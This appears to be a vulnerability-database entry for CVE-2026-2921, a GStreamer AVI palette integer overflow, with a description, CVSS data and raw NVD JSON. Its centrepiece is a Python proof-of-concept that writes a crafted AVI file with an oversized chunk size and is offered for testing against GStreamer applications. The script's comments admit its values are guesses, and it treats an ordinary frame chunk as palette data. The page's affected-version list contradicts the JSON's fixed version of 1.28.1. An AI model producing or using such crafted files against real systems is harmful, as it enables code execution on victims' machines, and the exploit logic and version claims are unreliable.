Security Vulnerability Report
中文
CVE-2026-2921 CVSS 7.8 HIGH

CVE-2026-2921

Published: 2026-03-16 14:19:33
Last Modified: 2026-03-29 13:16:59

Description

GStreamer RIFF Palette Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation. The specific flaw exists within the handling of palette data in AVI files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28854.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:* - VULNERABLE
GStreamer < 1.24.x (未修复版本)
GStreamer 1.22.x 系列
GStreamer 1.20.x 系列
Debian Linux (受影响的GStreamer包)
其他使用GStreamer处理AVI文件的第三方应用

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-2921 PoC - GStreamer RIFF Palette Integer Overflow This PoC generates a malicious AVI file that triggers integer overflow in GStreamer's palette handling code. WARNING: For educational and security research purposes only. Do not use this code for malicious activities. """ import struct import sys def create_malicious_avi(): """Create a malicious AVI file with crafted palette data""" # AVI RIFF header riff_header = b'RIFF' file_size = 0 # Will be calculated avih_signature = b'AVI ' # hdrl LIST - movie header hdrl_list = b'LIST' hdrl_size = 0 # Will be calculated hdrl_type = b'hdrl' # avih chunk - AVI header chunk avih_chunk_id = b'avih' avih_chunk_size = 56 # Fixed size for avih chunk avih_data = struct.pack('<I', 100000) # microsec per frame avih_data += struct.pack('<I', 0) # max bytes per sec avih_data += struct.pack('<I', 0) # padding avih_data += struct.pack('<I', 0) # flags avih_data += struct.pack('<I', 0) # total frames avih_data += struct.pack('<I', 0) # initial frames avih_data += struct.pack('<I', 1) # streams avih_data += struct.pack('<I', 1024) # suggested buffer size avih_data += struct.pack('<I', 320) # width avih_data += struct.pack('<I', 240) # height avih_data += struct.pack('<I', 0) * 4 # reserved avih_chunk = avih_chunk_id + struct.pack('<I', avih_chunk_size) + avih_data # strl LIST - stream list strl_list = b'LIST' strl_size = 0 # Will be calculated strl_type = b'strl' # strh chunk - stream header strh_chunk_id = b'strh' strh_chunk_size = 56 strh_data = b'vids' # video stream strh_data += b'DIB ' # uncompressed RGB strh_data += struct.pack('<I', 0) # flags strh_data += struct.pack('<H', 0) # priority strh_data += struct.pack('<H', 0) # language strh_data += struct.pack('<I', 0) # initial frames strh_data += struct.pack('<I', 1) # scale strh_data += struct.pack('<I', 30) # rate strh_data += struct.pack('<I', 0) # start strh_data += struct.pack('<I', 1) # length strh_data += struct.pack('<I', 1024) # suggested buffer size strh_data += struct.pack('<I', 0) # quality strh_data += struct.pack('<I', 0) # sample size strh_data += struct.pack('<h', 0) # rect strh_data += struct.pack('<h', 0) strh_data += struct.pack('<h', 320) strh_data += struct.pack('<h', 240) strh_chunk = strh_chunk_id + struct.pack('<I', strh_chunk_size) + strh_data # strf chunk - stream format (BITMAPINFOHEADER) strf_chunk_id = b'strf' strf_chunk_size = 40 # BITMAPINFOHEADER size strf_data = struct.pack('<I', 40) # biSize strf_data += struct.pack('<i', 320) # biWidth strf_data += struct.pack('<i', 240) # biHeight strf_data += struct.pack('<H', 1) # biPlanes strf_data += struct.pack('<H', 8) # biBitCount (8-bit = 256 colors) strf_data += struct.pack('<I', 0) # biCompression (BI_RGB) strf_data += struct.pack('<I', 0) # biSizeImage strf_data += struct.pack('<i', 0) # biXPelsPerMeter strf_data += struct.pack('<i', 0) # biYPelsPerMeter strf_data += struct.pack('<I', 0) # biClrUsed strf_data += struct.pack('<I', 0) # biClrImportant strf_chunk = strf_chunk_id + struct.pack('<I', strf_chunk_size) + strf_data strl_list_content = strh_chunk + strf_chunk strl_list = b'LIST' + struct.pack('<I', len(strl_list_content) + 4) + strl_type + strl_list_content hdrl_list_content = avih_chunk + strl_list hdrl_list = b'LIST' + struct.pack('<I', len(hdrl_list_content) + 4) + hdrl_type + hdrl_list_content # movi LIST - media data # Create malicious palette data that triggers integer overflow movi_list_type = b'movi' # idx1 chunk - index entries with crafted sizes idx1_chunk_id = b'idx1' # Create palette chunk (00dc or 00db) with malicious size # The key is to craft a palette chunk with size that causes integer overflow # when GStreamer calculates memory allocation palette_chunk_id = b'00db' # video frame # Crafted palette data size that can trigger integer overflow # In real vulnerability, specific values cause overflow in size calculation malicious_size = 0xFFFFFFFF # Max uint32 - triggers overflow palette_data = b'\x00' * 256 # Malformed palette data palette_chunk = palette_chunk_id + struct.pack('<I', malicious_size) + palette_data # idx1 entry pointing to our malicious chunk idx1_entry = palette_chunk_id # chunk id idx1_entry += struct.pack('<I', 0x10) # flags (AVIIF_KEYFRAME) idx1_entry += struct.pack('<I', 4) # offset idx1_entry += struct.pack('<I', malicious_size) # size (triggers overflow) idx1_data = idx1_entry idx1_chunk = idx1_chunk_id + struct.pack('<I', len(idx1_data)) + idx1_data movi_list_content = palette_chunk + idx1_chunk movi_list = b'LIST' + struct.pack('<I', len(movi_list_content) + 4) + movi_list_type + movi_list_content # Calculate file size file_content = avih_signature + hdrl_list + movi_list file_size = len(file_content) + 4 # Build final AVI file avi_file = riff_header + struct.pack('<I', file_size) + file_content return avi_file def main(): """Generate and save the PoC AVI file""" print("[*] Generating CVE-2026-2921 PoC AVI file...") avi_data = create_malicious_avi() output_file = "CVE-2026-2921-poc.avi" with open(output_file, 'wb') as f: f.write(avi_data) print(f"[+] PoC file generated: {output_file}") print(f"[+] File size: {len(avi_data)} bytes") print("[!] This file contains crafted data to trigger integer overflow in GStreamer") print("[!] Use with GStreamer-based applications to test the vulnerability") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2921", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:32.730", "lastModified": "2026-03-29T13:16:59.450", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "GStreamer RIFF Palette Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation.\n\nThe specific flaw exists within the handling of palette data in AVI files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28854."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de entero en la paleta RIFF de GStreamer. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de GStreamer. Se requiere interacción con esta biblioteca para explotar esta vulnerabilidad, pero los vectores de ataque pueden variar dependiendo de la implementación.\n\nLa falla específica existe en el manejo de datos de paleta en archivos AVI. El problema resulta de la falta de validación adecuada de los datos proporcionados por el usuario, lo que puede resultar en un desbordamiento de entero antes de escribir en la memoria. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del proceso actual. Fue ZDI-CAN-28854."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.1", "matchCriteriaId": "1F1B75B8-0527-487E-8F53-A658F7A1E7A5"}]}]}], "references": [{"url": "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/e3a99c35266fc92dd6a18ac5fde028d0cda559e6", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-168/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/03/msg00018.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}